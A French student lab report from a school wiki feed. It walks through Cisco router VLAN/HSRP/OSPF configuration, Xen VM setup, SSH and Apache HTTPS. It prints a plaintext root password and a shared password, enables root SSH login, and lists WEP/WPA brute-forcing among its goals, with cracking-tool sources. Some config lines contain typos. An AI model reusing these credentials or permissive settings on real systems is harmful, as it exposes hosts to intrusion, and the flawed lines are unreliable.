  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51564</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51564"/>
				<updated>2019-12-07T02:02:11Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Installation et paramétrage de bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
